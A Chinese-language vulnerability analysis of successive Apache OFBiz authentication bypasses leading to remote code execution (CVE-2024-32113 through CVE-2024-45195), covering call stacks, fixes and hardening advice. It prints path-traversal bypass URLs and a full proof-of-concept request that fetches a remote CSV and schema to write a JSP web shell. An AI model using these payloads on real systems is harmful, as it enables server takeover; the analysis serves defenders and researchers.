(CVE-2024-45195)Apache OFbiz 一次又一次从未授权到RCE的分析
字数 1503 2025-08-22 22:47:30

Apache OFbiz 未授权到RCE漏洞分析及防护指南

漏洞概述

Apache OFBiz 是一个用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。近期发现了一系列安全漏洞,包括:

  • CVE-2024-32113
  • CVE-2024-36104
  • CVE-2024-38856
  • CVE-2024-45195

这些漏洞都涉及未授权访问导致远程代码执行(RCE)的风险。

漏洞演变历史

CVE-2024-32113

漏洞本质:路径穿越导致的未授权访问

攻击方式
攻击者可以通过路径穿越方式未授权访问后台的ProgramExport接口执行任意代码,例如:

https://127.0.0.1:8443/webtools/control/main/../ProgramExport
https://127.0.0.1:8443/webtools/control/main/;/ProgramExport
https://127.0.0.1:8443/webtools/control/main/%2e/%2e/ProgramExport

修复方式
官方对路径进行了规范化处理

CVE-2024-36104

漏洞本质:路径规范化后的绕过

修复方式
官方增加了对路径的字符过滤

CVE-2024-38856

漏洞本质:鉴权逻辑缺陷

攻击方式
发现不需要复杂的路径穿越技巧,直接拼接即可绕过鉴权:

/main/ProgramExport

修复方式
在脚本执行的地方直接添加了鉴权

CVE-2024-45195

漏洞本质:鉴权逻辑的根本缺陷未被修复

攻击方式
利用viewdatafile接口将恶意csv文件内容写入到任意文件实现RCE

POC示例

POST /webtools/control/main/viewdatafile HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 241

DATAFILE_LOCATION=http://127.0.0.1:8000/pwn.csv
&DATAFILE_SAVE=./applications/accounting/webapp/accounting/shell.jsp
&DATAFILE_IS_URL=true
&DEFINITION_LOCATION=http://127.0.0.1:8000/rce.xml
&DEFINITION_IS_URL=true
&DEFINITION_NAME=rce

辅助文件

  1. rceschema.xml:
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
    <record name="rceentry" limit="many">
      <field name="jsp" type="String" length="605" position="0"></field>
    </record>
  </data-file>
</data-files>
  1. pwn.csv (包含恶意JSP代码)

漏洞原理深度分析

调用栈分析

漏洞触发的核心调用栈如下:

ControlFilter > ControlServlet > RequestHandler
run:36, ProgramExport
runScriptAtLocation:209, GroovyUtil (org.apache.ofbiz.base.util)
executeScript:342, ScriptUtil (org.apache.ofbiz.base.util)
executeScript:324, ScriptUtil (org.apache.ofbiz.base.util)
runAction:634, AbstractModelAction$Script (org.apache.ofbiz.widget.model)
runSubActions:143, AbstractModelAction (org.apache.ofbiz.widget.model)
renderWidgetString:278, ModelScreenWidget$Section (org.apache.ofbiz.widget.model)
renderScreenString:164, ModelScreen (org.apache.ofbiz.widget.model)
render:140, ScreenRenderer (org.apache.ofbiz.widget.renderer)
render:102, ScreenRenderer (org.apache.ofbiz.widget.renderer)
render:113, MacroScreenViewHandler (org.apache.ofbiz.widget.renderer.macro)
renderView:1066, RequestHandler (org.apache.ofbiz.webapp.control)
doRequest:741, RequestHandler (org.apache.ofbiz.webapp.control)
doGet:212, ControlServlet (org.apache.ofbiz.webapp.control)
doPost:85, ControlServlet (org.apache.ofbiz.webapp.control)
doFilter:44, SameSiteFilter (org.apache.ofbiz.webapp.control)
doFilter:191, ContextFilter (org.apache.ofbiz.webapp.control)
doFilter:63, CacheFilter (org.apache.ofbiz.base.util)
doFilter:180, ControlFilter (org.apache.ofbiz.webapp.control)

关键漏洞点

  1. RequestHandler处理流程

    • 加载配置信息,由ControllerConfig()解析对应配置文件
    • 配置文件中记录了是否需要鉴权等信息
    • ProgramExport配置中security标签的auth为true,表示需要登录
  2. 路径处理缺陷

    • 请求路径被拆分为两个变量:
      • requestUri:main
      • overrideViewUri:ProgramExport
    • 鉴权时检查的是requestUri(main),而实际渲染的是overrideViewUri(ProgramExport)
    • 导致前后鉴权逻辑不一致,绕过ProgramExport的鉴权
  3. 渲染阶段

    • 渲染阶段选取的路径变为overrideViewUri
    • 直接跳过了ProgramExport的鉴权进行渲染
    • 最终执行groovy脚本

修复方案分析

最终修复措施

  1. 配置文件改进

    • 在一系列配置文件中加入了auth配置
    • 请求映射参数"auth"和"https"的默认值设置为"true"
  2. 代码层面修复

    • 在RequestHandler的renderView中也加入了鉴权
    • 确保无论渲染哪个路径都会进行鉴权
  3. 安全策略

    • 系统不应允许未经授权访问渲染的视图
    • 通过防止未经授权的访问来增强安全性

防护建议

  1. 立即升级

    • 升级到Apache OFBiz 18.12.16或更高版本
  2. 配置检查

    • 检查所有接口的auth配置是否设置为true
    • 验证https配置是否启用
  3. 网络防护

    • 限制对/webtools/control路径的访问
    • 实施网络层访问控制
  4. 监控措施

    • 监控对ProgramExport和viewdatafile等接口的访问
    • 设置异常访问告警
  5. 代码审计

    • 检查自定义代码中是否存在类似的鉴权逻辑缺陷
    • 验证所有敏感操作是否都有适当的权限检查

总结

这一系列漏洞揭示了Apache OFBiz在鉴权设计上的根本缺陷:

  1. 路径处理与鉴权逻辑分离
  2. 渲染阶段缺乏二次验证
  3. 默认配置不够安全

最终修复方案通过统一鉴权点和强化默认配置解决了这些问题,建议所有用户立即升级并验证配置。

Apache OFbiz 未授权到RCE漏洞分析及防护指南 漏洞概述 Apache OFBiz 是一个用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。近期发现了一系列安全漏洞,包括: CVE-2024-32113 CVE-2024-36104 CVE-2024-38856 CVE-2024-45195 这些漏洞都涉及未授权访问导致远程代码执行(RCE)的风险。 漏洞演变历史 CVE-2024-32113 漏洞本质 :路径穿越导致的未授权访问 攻击方式 : 攻击者可以通过路径穿越方式未授权访问后台的ProgramExport接口执行任意代码,例如: 修复方式 : 官方对路径进行了规范化处理 CVE-2024-36104 漏洞本质 :路径规范化后的绕过 修复方式 : 官方增加了对路径的字符过滤 CVE-2024-38856 漏洞本质 :鉴权逻辑缺陷 攻击方式 : 发现不需要复杂的路径穿越技巧,直接拼接即可绕过鉴权: 修复方式 : 在脚本执行的地方直接添加了鉴权 CVE-2024-45195 漏洞本质 :鉴权逻辑的根本缺陷未被修复 攻击方式 : 利用viewdatafile接口将恶意csv文件内容写入到任意文件实现RCE POC示例 : 辅助文件 : rceschema.xml: pwn.csv (包含恶意JSP代码) 漏洞原理深度分析 调用栈分析 漏洞触发的核心调用栈如下: 关键漏洞点 RequestHandler处理流程 : 加载配置信息,由ControllerConfig()解析对应配置文件 配置文件中记录了是否需要鉴权等信息 ProgramExport配置中security标签的auth为true,表示需要登录 路径处理缺陷 : 请求路径被拆分为两个变量: requestUri :main overrideViewUri :ProgramExport 鉴权时检查的是 requestUri (main),而实际渲染的是 overrideViewUri (ProgramExport) 导致前后鉴权逻辑不一致,绕过ProgramExport的鉴权 渲染阶段 : 渲染阶段选取的路径变为 overrideViewUri 直接跳过了ProgramExport的鉴权进行渲染 最终执行groovy脚本 修复方案分析 最终修复措施 配置文件改进 : 在一系列配置文件中加入了auth配置 请求映射参数"auth"和"https"的默认值设置为"true" 代码层面修复 : 在RequestHandler的renderView中也加入了鉴权 确保无论渲染哪个路径都会进行鉴权 安全策略 : 系统不应允许未经授权访问渲染的视图 通过防止未经授权的访问来增强安全性 防护建议 立即升级 : 升级到Apache OFBiz 18.12.16或更高版本 配置检查 : 检查所有接口的auth配置是否设置为true 验证https配置是否启用 网络防护 : 限制对/webtools/control路径的访问 实施网络层访问控制 监控措施 : 监控对ProgramExport和viewdatafile等接口的访问 设置异常访问告警 代码审计 : 检查自定义代码中是否存在类似的鉴权逻辑缺陷 验证所有敏感操作是否都有适当的权限检查 总结 这一系列漏洞揭示了Apache OFBiz在鉴权设计上的根本缺陷: 路径处理与鉴权逻辑分离 渲染阶段缺乏二次验证 默认配置不够安全 最终修复方案通过统一鉴权点和强化默认配置解决了这些问题,建议所有用户立即升级并验证配置。